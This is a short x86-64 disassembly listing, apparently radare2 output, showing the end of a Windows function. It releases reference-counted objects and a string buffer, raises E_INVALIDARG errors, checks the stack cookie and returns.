mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066cf3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
dec r12d
test r12d, r12d
jg 0x140066d14
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
cmp qword [rsp + 0x258], 8
jb 0x140066d2c
mov rcx, qword [rsp + 0x240]
call fcn.1400d4d78
mov qword [rsp + 0x258], 7
mov qword [rsp + 0x250], rbx
mov word [rsp + 0x240], bx
lea rcx, [rsp + 0xc0]
call fcn.140003850
mov eax, 1
jmp 0x140066d97
mov ecx, 0x80070057
call fcn.1400022b0
nop
mov ecx, 0x80070057
call fcn.1400022b0
nop
mov ecx, 0x80070057
call fcn.1400022b0
int3
mov ecx, 0x80070057
call fcn.1400022b0
nop
lea rcx, [rsp + 0xc0]
call fcn.140003850
xor eax, eax
mov rcx, qword [rsp + 0x1370]
xor rcx, rsp
call fcn.1400d4d90
lea r11, [rsp + 0x1380]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret